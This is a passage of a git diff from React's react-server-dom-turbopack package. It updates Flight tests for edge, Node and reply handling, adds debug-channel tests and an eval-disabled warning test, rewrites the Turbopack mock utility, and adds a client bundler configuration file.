 'use strict';
 
-// Polyfills for test environment
-global.ReadableStream =
-  require('web-streams-polyfill/ponyfill/es6').ReadableStream;
-global.TextEncoder = require('util').TextEncoder;
-global.TextDecoder = require('util').TextDecoder;
-
-// Don't wait before processing work on the server.
-// TODO: we can replace this with FlightServer.act().
-global.setTimeout = cb => cb();
-
 let clientExports;
 let turbopackMap;
 let turbopackModules;
 let React;
+let ReactServer;
 let ReactDOMServer;
 let ReactServerDOMServer;
 let ReactServerDOMClient;
 let use;
+let serverAct;
 
-describe('ReactFlightDOMEdge', () => {
+describe('ReactFlightTurbopackDOMEdge', () => {
   beforeEach(() => {
     jest.resetModules();
 
+    serverAct = require('internal-test-utils').serverAct;
+
     // Simulate the condition resolution
     jest.mock('react', () => require('react/react.react-server'));
     jest.mock('react-server-dom-turbopack/server', () =>
@@ -43,6 +38,7 @@ describe('ReactFlightDOMEdge', () => {
     turbopackMap = TurbopackMock.turbopackMap;
     turbopackModules = TurbopackMock.turbopackModules;
 
+    ReactServer = require('react');
     ReactServerDOMServer = require('react-server-dom-turbopack/server.edge');
 
     jest.resetModules();
@@ -66,6 +62,35 @@ describe('ReactFlightDOMEdge', () => {
     }
   }
 
+  function normalizeCodeLocInfo(str) {
+    return (
+      str &&
+      str.replace(/^ +(?:at|in) ([\S]+)[^\n]*/gm, function (m, name) {
+        return '    in ' + name + (/\d/.test(m) ? ' (at **)' : '');
+      })
+    );
+  }
+
+  function createDelayedStream(
+    stream: ReadableStream<Uint8Array>,
+  ): ReadableStream<Uint8Array> {
+    return new ReadableStream({
+      async start(controller) {
+        const reader = stream.getReader();
+        while (true) {
+          const {done, value} = await reader.read();
+          if (done) {
+            controller.close();
+          } else {
+            // Artificially delay between enqueuing chunks.
+            await new Promise(resolve => setTimeout(resolve));
+            controller.enqueue(value);
+          }
+        }
+      },
+    });
+  }
+
   it('should allow an alternative module mapping to be used for SSR', async () => {
     function ClientComponent() {
       return <span>Client Component</span>;
@@ -92,12 +117,11 @@ describe('ReactFlightDOMEdge', () => {
       return <ClientComponentOnTheClient />;
     }
 
-    const stream = ReactServerDOMServer.renderToReadableStream(
-      <App />,
-      turbopackMap,
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<App />, turbopackMap),
     );
     const response = ReactServerDOMClient.createFromReadableStream(stream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: translationMap,
         moduleLoading: null,
       },
@@ -107,10 +131,204 @@ describe('ReactFlightDOMEdge', () => {
       return use(response);
     }
 
-    const ssrStream = await ReactDOMServer.renderToReadableStream(
-      <ClientRoot />,
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(<ClientRoot />),
     );
     const result = await readResult(ssrStream);
     expect(result).toEqual('<span>Client Component</span>');
   });
+
+  // @gate __DEV__
+  it('can transport debug info through a separate debug channel', async () => {
+    function Thrower() {
+      throw new Error('ssr-throw');
+    }
+
+    const ClientComponentOnTheClient = clientExports(
+      Thrower,
+      123,
+      'path/to/chunk.js',
+    );
+
+    const ClientComponentOnTheServer = clientExports(Thrower);
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponentOnTheClient, null),
+      );
+    }
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        ReactServer.createElement(App, null),
+        turbopackMap,
+        {
+          debugChannel: {
+            writable: new WritableStream({
+              write(chunk) {
+                debugReadableStreamController.enqueue(chunk);
+              },
+              close() {
+                debugReadableStreamController.close();
+              },
+            }),
+          },
+        },
+      ),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const serverConsumerManifest = {
+      moduleMap: {
+        [turbopackMap[ClientComponentOnTheClient.$$id].id]: {
+          '*': turbopackMap[ClientComponentOnTheServer.$$id],
+        },
+      },
+      moduleLoading: null,
+    };
+
+    const response = ReactServerDOMClient.createFromReadableStream(
+      // Create a delayed stream to simulate that the RSC stream might be
+      // transported slower than the debug channel, which must not lead to a
+      // `Connection closed` error in the Flight client.
+      createDelayedStream(rscStream),
+      {
+        serverConsumerManifest,
+        debugChannel: {readable: debugReadableStream},
+      },
+    );
+
+    let ownerStack;
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(
+        <ClientRoot response={response} />,
+        {
+          onError(err, errorInfo) {
+            ownerStack = React.captureOwnerStack
+              ? React.captureOwnerStack()
+              : null;
+          },
+        },
+      ),
+    );
+
+    const result = await readResult(ssrStream);
+
+    expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+
+    expect(result).toContain(
+      'Switched to client rendering because the server rendering errored:\n\nssr-throw',
+    );
+  });
+
+  // @gate __DEV__
+  it('can transport debug info through a slow debug channel', async () => {
+    function Thrower() {
+      throw new Error('ssr-throw');
+    }
+
+    const ClientComponentOnTheClient = clientExports(
+      Thrower,
+      123,
+      'path/to/chunk.js',
+    );
+
+    const ClientComponentOnTheServer = clientExports(Thrower);
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponentOnTheClient, null),
+      );
+    }
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        ReactServer.createElement(App, null),
+        turbopackMap,
+        {
+          debugChannel: {
+            writable: new WritableStream({
+              write(chunk) {
+                debugReadableStreamController.enqueue(chunk);
+              },
+              close() {
+                debugReadableStreamController.close();
+              },
+            }),
+          },
+        },
+      ),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const serverConsumerManifest = {
+      moduleMap: {
+        [turbopackMap[ClientComponentOnTheClient.$$id].id]: {
+          '*': turbopackMap[ClientComponentOnTheServer.$$id],
+        },
+      },
+      moduleLoading: null,
+    };
+
+    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
+      serverConsumerManifest,
+      debugChannel: {
+        readable:
+          // Create a delayed stream to simulate that the debug stream might
+          // be transported slower than the RSC stream, which must not lead to
+          // missing debug info.
+          createDelayedStream(debugReadableStream),
+      },
+    });
+
+    let ownerStack;
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(
+        <ClientRoot response={response} />,
+        {
+          onError(err, errorInfo) {
+            ownerStack = React.captureOwnerStack
+              ? React.captureOwnerStack()
+              : null;
+          },
+        },
+      ),
+    );
+
+    const result = await readResult(ssrStream);
+
+    expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+
+    expect(result).toContain(
+      'Switched to client rendering because the server rendering errored:\n\nssr-throw',
+    );
+  });
 });
diff --git a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMForm-test.js b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMForm-test.js
deleted file mode 100644
index e7da697fad8e..000000000000
--- a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMForm-test.js
+++ /dev/null
@@ -1,147 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @emails react-core
- */
-
-'use strict';
-
-import {insertNodesAndExecuteScripts} from 'react-dom/src/test-utils/FizzTestUtils';
-
-// Polyfills for test environment
-global.ReadableStream =
-  require('web-streams-polyfill/ponyfill/es6').ReadableStream;
-global.TextEncoder = require('util').TextEncoder;
-global.TextDecoder = require('util').TextDecoder;
-
-// Don't wait before processing work on the server.
-// TODO: we can replace this with FlightServer.act().
-global.setTimeout = cb => cb();
-
-let container;
-let serverExports;
-let turbopackServerMap;
-let React;
-let ReactDOMServer;
-let ReactServerDOMServer;
-let ReactServerDOMClient;
-
-describe('ReactFlightDOMForm', () => {
-  beforeEach(() => {
-    jest.resetModules();
-    // Simulate the condition resolution
-    jest.mock('react', () => require('react/react.react-server'));
-    jest.mock('react-server-dom-turbopack/server', () =>
-      require('react-server-dom-turbopack/server.edge'),
-    );
-    ReactServerDOMServer = require('react-server-dom-turbopack/server.edge');
-    const TurbopackMock = require('./utils/TurbopackMock');
-    serverExports = TurbopackMock.serverExports;
-    turbopackServerMap = TurbopackMock.turbopackServerMap;
-    __unmockReact();
-    jest.resetModules();
-    React = require('react');
-    ReactServerDOMClient = require('react-server-dom-turbopack/client.edge');
-    ReactDOMServer = require('react-dom/server.edge');
-    container = document.createElement('div');
-    document.body.appendChild(container);
-  });
-
-  afterEach(() => {
-    document.body.removeChild(container);
-  });
-
-  async function POST(formData) {
-    const boundAction = await ReactServerDOMServer.decodeAction(
-      formData,
-      turbopackServerMap,
-    );
-    return boundAction();
-  }
-
-  function submit(submitter) {
-    const form = submitter.form || submitter;
-    if (!submitter.form) {
-      submitter = undefined;
-    }
-    const submitEvent = new Event('submit', {bubbles: true, cancelable: true});
-    submitEvent.submitter = submitter;
-    const returnValue = form.dispatchEvent(submitEvent);
-    if (!returnValue) {
-      return;
-    }
-    const action =
-      (submitter && submitter.getAttribute('formaction')) || form.action;
-    if (!/\s*javascript:/i.test(action)) {
-      const method = (submitter && submitter.formMethod) || form.method;
-      const encType = (submitter && submitter.formEnctype) || form.enctype;
-      if (method === 'post' && encType === 'multipart/form-data') {
-        let formData;
-        if (submitter) {
-          const temp = document.createElement('input');
-          temp.name = submitter.name;
-          temp.value = submitter.value;
-          submitter.parentNode.insertBefore(temp, submitter);
-          formData = new FormData(form);
-          temp.parentNode.removeChild(temp);
-        } else {
-          formData = new FormData(form);
-        }
-        return POST(formData);
-      }
-      throw new Error('Navigate to: ' + action);
-    }
-  }
-
-  async function readIntoContainer(stream) {
-    const reader = stream.getReader();
-    let result = '';
-    while (true) {
-      const {done, value} = await reader.read();
-      if (done) {
-        break;
-      }
-      result += Buffer.from(value).toString('utf8');
-    }
-    const temp = document.createElement('div');
-    temp.innerHTML = result;
-    insertNodesAndExecuteScripts(temp, container, null);
-  }
-
-  it('can submit a passed server action without hydrating it', async () => {
-    let foo = null;
-
-    const serverAction = serverExports(function action(formData) {
-      foo = formData.get('foo');
-      return 'hello';
-    });
-    function App() {
-      return (
-        <form action={serverAction}>
-          <input type="text" name="foo" defaultValue="bar" />
-        </form>
-      );
-    }
-    const rscStream = ReactServerDOMServer.renderToReadableStream(<App />);
-    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
-        moduleMap: null,
-        moduleLoading: null,
-      },
-    });
-    const ssrStream = await ReactDOMServer.renderToReadableStream(response);
-    await readIntoContainer(ssrStream);
-
-    const form = container.firstChild;
-
-    expect(foo).toBe(null);
-
-    const result = await submit(form);
-
-    expect(result).toBe('hello');
-    expect(foo).toBe('bar');
-  });
-});
diff --git a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMNode-test.js b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMNode-test.js
index 1276d4d0be40..59e8ea394709 100644
--- a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMNode-test.js
+++ b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMNode-test.js
@@ -17,26 +17,30 @@ let turbopackModules;
 let turbopackModuleLoading;
 let React;
 let ReactDOMServer;
+let ReactServer;
 let ReactServerDOMServer;
 let ReactServerDOMClient;
 let Stream;
 let use;
-let ReactServerScheduler;
-let reactServerAct;
+let serverAct;
 
-describe('ReactFlightDOMNode', () => {
+const streamOptions = {
+  objectMode: true,
+};
+
+describe('ReactFlightTurbopackDOMNode', () => {
   beforeEach(() => {
     jest.resetModules();
 
-    ReactServerScheduler = require('scheduler');
-    patchSetImmediate(ReactServerScheduler);
-    reactServerAct = require('internal-test-utils').act;
+    patchSetImmediate();
+    serverAct = require('internal-test-utils').serverAct;
 
     // Simulate the condition resolution
     jest.mock('react', () => require('react/react.react-server'));
     jest.mock('react-server-dom-turbopack/server', () =>
       require('react-server-dom-turbopack/server.node'),
     );
+    ReactServer = require('react');
     ReactServerDOMServer = require('react-server-dom-turbopack/server');
 
     const TurbopackMock = require('./utils/TurbopackMock');
@@ -59,17 +63,6 @@ describe('ReactFlightDOMNode', () => {
     use = React.use;
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await reactServerAct(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
-    });
-    return maybePromise;
-  }
-
   function readResult(stream) {
     return new Promise((resolve, reject) => {
       let buffer = '';
@@ -88,6 +81,31 @@ describe('ReactFlightDOMNode', () => {
     });
   }
 
+  function normalizeCodeLocInfo(str) {
+    return (
+      str &&
+      str.replace(/^ +(?:at|in) ([\S]+)[^\n]*/gm, function (m, name) {
+        return '    in ' + name + (/\d/.test(m) ? ' (at **)' : '');
+      })
+    );
+  }
+
+  function createDelayedStream() {
+    let resolveDelayedStream;
+    const promise = new Promise(resolve => (resolveDelayedStream = resolve));
+    const delayedStream = new Stream.Transform({
+      ...streamOptions,
+      transform(chunk, encoding, callback) {
+        // Artificially delay pushing the chunk.
+        promise.then(() => {
+          this.push(chunk);
+          callback();
+        });
+      },
+    });
+    return {delayedStream, resolveDelayedStream};
+  }
+
   it('should allow an alternative module mapping to be used for SSR', async () => {
     function ClientComponent() {
       return <span>Client Component</span>;
@@ -143,4 +161,192 @@ describe('ReactFlightDOMNode', () => {
       '<script src="/prefix/path/to/chunk.js" async=""></script><span>Client Component</span>',
     );
   });
+
+  // @gate __DEV__
+  it('can transport debug info through a separate debug channel', async () => {
+    function Thrower() {
+      throw new Error('ssr-throw');
+    }
+
+    const ClientComponentOnTheClient = clientExports(
+      Thrower,
+      123,
+      'path/to/chunk.js',
+    );
+
+    const ClientComponentOnTheServer = clientExports(Thrower);
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponentOnTheClient, null),
+      );
+    }
+
+    const debugReadable = new Stream.PassThrough(streamOptions);
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        ReactServer.createElement(App, null),
+        turbopackMap,
+        {
+          debugChannel: new Stream.Writable({
+            write(chunk, encoding, callback) {
+              debugReadable.write(chunk, encoding);
+              callback();
+            },
+            final() {
+              debugReadable.end();
+            },
+          }),
+        },
+      ),
+    );
+
+    // Create a delayed stream to simulate that the RSC stream might be
+    // transported slower than the debug channel, which must not lead to a
+    // `Connection closed` error in the Flight client.
+    const {delayedStream, resolveDelayedStream} = createDelayedStream();
+
+    rscStream.pipe(delayedStream);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const serverConsumerManifest = {
+      moduleMap: {
+        [turbopackMap[ClientComponentOnTheClient.$$id].id]: {
+          '*': turbopackMap[ClientComponentOnTheServer.$$id],
+        },
+      },
+      moduleLoading: null,
+    };
+
+    const response = ReactServerDOMClient.createFromNodeStream(
+      delayedStream,
+      serverConsumerManifest,
+      {debugChannel: debugReadable},
+    );
+
+    setTimeout(resolveDelayedStream);
+
+    let ownerStack;
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToPipeableStream(
+        <ClientRoot response={response} />,
+        {
+          onError(err, errorInfo) {
+            ownerStack = React.captureOwnerStack
+              ? React.captureOwnerStack()
+              : null;
+          },
+        },
+      ),
+    );
+
+    const result = await readResult(ssrStream);
+
+    expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+
+    expect(result).toContain(
+      'Switched to client rendering because the server rendering errored:\n\nssr-throw',
+    );
+  });
+
+  // @gate __DEV__
+  it('can transport debug info through a slow debug channel', async () => {
+    function Thrower() {
+      throw new Error('ssr-throw');
+    }
+
+    const ClientComponentOnTheClient = clientExports(
+      Thrower,
+      123,
+      'path/to/chunk.js',
+    );
+
+    const ClientComponentOnTheServer = clientExports(Thrower);
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponentOnTheClient, null),
+      );
+    }
+
+    // Create a delayed stream to simulate that the debug stream might be
+    // transported slower than the RSC stream, which must not lead to missing
+    // debug info.
+    const {delayedStream, resolveDelayedStream} = createDelayedStream();
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        ReactServer.createElement(App, null),
+        turbopackMap,
+        {
+          debugChannel: new Stream.Writable({
+            write(chunk, encoding, callback) {
+              delayedStream.write(chunk, encoding);
+              callback();
+            },
+            final() {
+              delayedStream.end();
+            },
+          }),
+        },
+      ),
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    rscStream.pipe(readable);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const serverConsumerManifest = {
+      moduleMap: {
+        [turbopackMap[ClientComponentOnTheClient.$$id].id]: {
+          '*': turbopackMap[ClientComponentOnTheServer.$$id],
+        },
+      },
+      moduleLoading: null,
+    };
+
+    const response = ReactServerDOMClient.createFromNodeStream(
+      readable,
+      serverConsumerManifest,
+      {debugChannel: delayedStream},
+    );
+
+    setTimeout(resolveDelayedStream);
+
+    let ownerStack;
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToPipeableStream(
+        <ClientRoot response={response} />,
+        {
+          onError(err, errorInfo) {
+            ownerStack = React.captureOwnerStack
+              ? React.captureOwnerStack()
+              : null;
+          },
+        },
+      ),
+    );
+
+    const result = await readResult(ssrStream);
+
+    expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+
+    expect(result).toContain(
+      'Switched to client rendering because the server rendering errored:\n\nssr-throw',
+    );
+  });
 });
diff --git a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReply-test.js b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReply-test.js
index cf328ab2e8fe..9e6cb3c78068 100644
--- a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReply-test.js
+++ b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReply-test.js
@@ -18,12 +18,13 @@ global.TextEncoder = require('util').TextEncoder;
 global.TextDecoder = require('util').TextDecoder;
 
 // let serverExports;
+let assertConsoleErrorDev;
 let turbopackServerMap;
 let ReactServerDOMServer;
 let ReactServerDOMClient;
 let ReactServerScheduler;
 
-describe('ReactFlightDOMReply', () => {
+describe('ReactFlightTurbopackDOMReply', () => {
   beforeEach(() => {
     jest.resetModules();
 
@@ -41,6 +42,9 @@ describe('ReactFlightDOMReply', () => {
     ReactServerDOMServer = require('react-server-dom-turbopack/server.browser');
     jest.resetModules();
     ReactServerDOMClient = require('react-server-dom-turbopack/client');
+
+    const InternalTestUtils = require('internal-test-utils');
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   it('can encode a reply', async () => {
@@ -52,4 +56,32 @@ describe('ReactFlightDOMReply', () => {
 
     expect(decoded).toEqual({some: 'object'});
   });
+
+  it('warns with a tailored message if eval is not available in dev', async () => {
+    // eslint-disable-next-line no-eval
+    const previousEval = globalThis.eval.bind(globalThis);
+    // eslint-disable-next-line no-eval
+    globalThis.eval = () => {
+      throw new Error('eval is disabled');
+    };
+
+    try {
+      const body = await ReactServerDOMClient.encodeReply({some: 'object'});
+      assertConsoleErrorDev([
+        'eval() is not supported in this environment. ' +
+          'If this page was served with a `Content-Security-Policy` header, ' +
+          'make sure that `unsafe-eval` is included. ' +
+          'React requires eval() in development mode for various debugging features ' +
+          'like reconstructing callstacks from a different environment.\n' +
+          'React will never use eval() in production mode',
+      ]);
+
+      await ReactServerDOMServer.decodeReply(body, turbopackServerMap);
+
+      assertConsoleErrorDev([]);
+    } finally {
+      // eslint-disable-next-line no-eval
+      globalThis.eval = previousEval;
+    }
+  });
 });
diff --git a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReplyEdge-test.js b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReplyEdge-test.js
index 0cd8605c7e8d..09803ab017c1 100644
--- a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReplyEdge-test.js
+++ b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReplyEdge-test.js
@@ -5,22 +5,16 @@
  * LICENSE file in the root directory of this source tree.
  *
  * @emails react-core
+ * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment
  */
 
 'use strict';
 
-// Polyfills for test environment
-global.ReadableStream =
-  require('web-streams-polyfill/ponyfill/es6').ReadableStream;
-global.TextEncoder = require('util').TextEncoder;
-global.TextDecoder = require('util').TextDecoder;
-
-// let serverExports;
 let turbopackServerMap;
 let ReactServerDOMServer;
 let ReactServerDOMClient;
 
-describe('ReactFlightDOMReply', () => {
+describe('ReactFlightDOMTurbopackReply', () => {
   beforeEach(() => {
     jest.resetModules();
     // Simulate the condition resolution
@@ -29,7 +23,6 @@ describe('ReactFlightDOMReply', () => {
       require('react-server-dom-turbopack/server.edge'),
     );
     const TurbopackMock = require('./utils/TurbopackMock');
-    // serverExports = TurbopackMock.serverExports;
     turbopackServerMap = TurbopackMock.turbopackServerMap;
     ReactServerDOMServer = require('react-server-dom-turbopack/server.edge');
     jest.resetModules();
diff --git a/packages/react-server-dom-turbopack/src/__tests__/utils/TurbopackMock.js b/packages/react-server-dom-turbopack/src/__tests__/utils/TurbopackMock.js
index 35c1aae80a02..2e81d55fa692 100644
--- a/packages/react-server-dom-turbopack/src/__tests__/utils/TurbopackMock.js
+++ b/packages/react-server-dom-turbopack/src/__tests__/utils/TurbopackMock.js
@@ -8,7 +8,6 @@
 'use strict';
 
 const url = require('url');
-const Module = require('module');
 
 let turbopackModuleIdx = 0;
 const turbopackServerModules = {};
@@ -23,21 +22,10 @@ global.__turbopack_require__ = function (id) {
   return turbopackClientModules[id] || turbopackServerModules[id];
 };
 
-const previousCompile = Module.prototype._compile;
-
-const register = require('react-server-dom-turbopack/node-register');
-// Register node compile
-register();
-
-const nodeCompile = Module.prototype._compile;
-
-if (previousCompile === nodeCompile) {
-  throw new Error(
-    'Expected the Node loader to register the _compile extension',
-  );
-}
-
-Module.prototype._compile = previousCompile;
+const Server = require('react-server-dom-turbopack/server');
+const registerClientReference = Server.registerClientReference;
+const registerServerReference = Server.registerServerReference;
+const createClientModuleProxy = Server.createClientModuleProxy;
 
 exports.turbopackMap = turbopackClientMap;
 exports.turbopackModules = turbopackClientModules;
@@ -46,20 +34,6 @@ exports.moduleLoading = {
   prefix: '/prefix/',
 };
 
-exports.clientModuleError = function clientModuleError(moduleError) {
-  const idx = '' + turbopackModuleIdx++;
-  turbopackErroredModules[idx] = moduleError;
-  const path = url.pathToFileURL(idx).href;
-  turbopackClientMap[path] = {
-    id: idx,
-    chunks: [],
-    name: '*',
-  };
-  const mod = new Module();
-  nodeCompile.call(mod, '"use client"', idx);
-  return mod.exports;
-};
-
 exports.clientExports = function clientExports(moduleExports, chunkUrl) {
   const chunks = [];
   if (chunkUrl !== undefined) {
@@ -107,9 +81,66 @@ exports.clientExports = function clientExports(moduleExports, chunkUrl) {
       name: 's',
     };
   }
-  const mod = new Module();
-  nodeCompile.call(mod, '"use client"', idx);
-  return mod.exports;
+  return createClientModuleProxy(path);
+};
+
+exports.clientExportsESM = function clientExportsESM(
+  moduleExports,
+  options?: {forceClientModuleProxy?: boolean} = {},
+) {
+  const chunks = [];
+  const idx = '' + turbopackModuleIdx++;
+  turbopackClientModules[idx] = moduleExports;
+  const path = url.pathToFileURL(idx).href;
+
+  const createClientReferencesForExports = ({exports, async}) => {
+    turbopackClientMap[path] = {
+      id: idx,
+      chunks,
+      name: '*',
+      async: true,
+    };
+
+    if (options.forceClientModuleProxy) {
+      return createClientModuleProxy(path);
+    }
+
+    if (typeof exports === 'object') {
+      const references = {};
+
+      for (const name in exports) {
+        const id = path + '#' + name;
+        turbopackClientMap[path + '#' + name] = {
+          id: idx,
+          chunks,
+          name: name,
+          async,
+        };
+        references[name] = registerClientReference(() => {}, id, name);
+      }
+
+      return references;
+    }
+
+    return registerClientReference(() => {}, path, '*');
+  };
+
+  if (
+    moduleExports &&
+    typeof moduleExports === 'object' &&
+    typeof moduleExports.then === 'function'
+  ) {
+    return moduleExports.then(
+      asyncModuleExports =>
+        createClientReferencesForExports({
+          exports: asyncModuleExports,
+          async: true,
+        }),
+      () => {},
+    );
+  }
+
+  return createClientReferencesForExports({exports: moduleExports});
 };
 
 // This tests server to server references. There's another case of client to server references.
@@ -142,8 +173,25 @@ exports.serverExports = function serverExports(moduleExports) {
       name: 's',
     };
   }
-  const mod = new Module();
-  mod.exports = moduleExports;
-  nodeCompile.call(mod, '"use server"', idx);
-  return mod.exports;
+
+  if (typeof exports === 'function') {
+    // The module exports a function directly,
+    registerServerReference(
+      (exports: any),
+      idx,
+      // Represents the whole Module object instead of a particular import.
+      null,
+    );
+  } else {
+    const keys = Object.keys(exports);
+    for (let i = 0; i < keys.length; i++) {
+      const key = keys[i];
+      const value = exports[keys[i]];
+      if (typeof value === 'function') {
+        registerServerReference((value: any), idx, key);
+      }
+    }
+  }
+
+  return moduleExports;
 };
diff --git a/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js b/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js
new file mode 100644
index 000000000000..2c26859280ad
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js
@@ -0,0 +1,270 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+  ReactDebugInfo,
+} from 'shared/ReactTypes';
+
+import type {
+  ImportMetadata,
+  ImportManifestEntry,
+} from '../shared/ReactFlightImportMetadata';
+import type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';
+
+import {
+  ID,
+  CHUNKS,
+  NAME,
+  isAsyncImport,
+} from '../shared/ReactFlightImportMetadata';
+
+import {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';
+
+import {
+  loadChunk,
+  addChunkDebugInfo,
+} from 'react-client/src/ReactFlightClientConfig';
+
+import hasOwnProperty from 'shared/hasOwnProperty';
+
+export type ServerConsumerModuleMap = null | {
+  [clientId: string]: {
+    [clientExportName: string]: ClientReferenceManifestEntry,
+  },
+};
+
+export type ServerManifest = {
+  [id: string]: ImportManifestEntry,
+};
+
+export type ServerReferenceId = string;
+
+export opaque type ClientReferenceManifestEntry = ImportManifestEntry;
+export opaque type ClientReferenceMetadata = ImportMetadata;
+
+// eslint-disable-next-line no-unused-vars
+export opaque type ClientReference<T> = ClientReferenceMetadata;
+
+// The reason this function needs to defined here in this file instead of just
+// being exported directly from the TurbopackDestination... file is because the
+// ClientReferenceMetadata is opaque and we can't unwrap it there.
+// This should get inlined and we could also just implement an unwrapping function
+// though that risks it getting used in places it shouldn't be. This is unfortunate
+// but currently it seems to be the best option we have.
+export function prepareDestinationForModule(
+  moduleLoading: ModuleLoading,
+  nonce: ?string,
+  metadata: ClientReferenceMetadata,
+) {
+  prepareDestinationWithChunks(moduleLoading, metadata[CHUNKS], nonce);
+}
+
+export function resolveClientReference<T>(
+  bundlerConfig: ServerConsumerModuleMap,
+  metadata: ClientReferenceMetadata,
+): ClientReference<T> {
+  if (bundlerConfig) {
+    const moduleExports = bundlerConfig[metadata[ID]];
+    let resolvedModuleData = moduleExports && moduleExports[metadata[NAME]];
+    let name;
+    if (resolvedModuleData) {
+      // The potentially aliased name.
+      name = resolvedModuleData.name;
+    } else {
+      // If we don't have this specific name, we might have the full module.
+      resolvedModuleData = moduleExports && moduleExports['*'];
+      if (!resolvedModuleData) {
+        throw new Error(
+          'Could not find the module "' +
+            metadata[ID] +
+            '" in the React Server Consumer Manifest. ' +
+            'This is probably a bug in the React Server Components bundler.',
+        );
+      }
+      name = metadata[NAME];
+    }
+    if (isAsyncImport(metadata)) {
+      return [
+        resolvedModuleData.id,
+        resolvedModuleData.chunks,
+        name,
+        1 /* async */,
+      ];
+    } else {
+      return [resolvedModuleData.id, resolvedModuleData.chunks, name];
+    }
+  }
+  return metadata;
+}
+
+export function resolveServerReference<T>(
+  bundlerConfig: ServerManifest,
+  id: ServerReferenceId,
+): ClientReference<T> {
+  let name = '';
+  let resolvedModuleData = bundlerConfig[id];
+  if (resolvedModuleData) {
+    // The potentially aliased name.
+    name = resolvedModuleData.name;
+  } else {
+    // We didn't find this specific export name but we might have the * export
+    // which contains this name as well.
+    // TODO: It's unfortunate that we now have to parse this string. We should
+    // probably go back to encoding path and name separately on the client reference.
+    const idx = id.lastIndexOf('#');
+    if (idx !== -1) {
+      name = id.slice(idx + 1);
+      resolvedModuleData = bundlerConfig[id.slice(0, idx)];
+    }
+    if (!resolvedModuleData) {
+      throw new Error(
+        'Could not find the module "' +
+          id +
+          '" in the React Server Manifest. ' +
+          'This is probably a bug in the React Server Components bundler.',
+      );
+    }
+  }
+  if (resolvedModuleData.async) {
+    // If the module is marked as async in a Client Reference, we don't actually care.
+    // What matters is whether the consumer wants to unwrap it or not.
+    // For Server References, it is different because the consumer is completely internal
+    // to the bundler. So instead of passing it to each reference we can mark it in the
+    // manifest.
+    return [
+      resolvedModuleData.id,
+      resolvedModuleData.chunks,
+      name,
+      1 /* async */,
+    ];
+  }
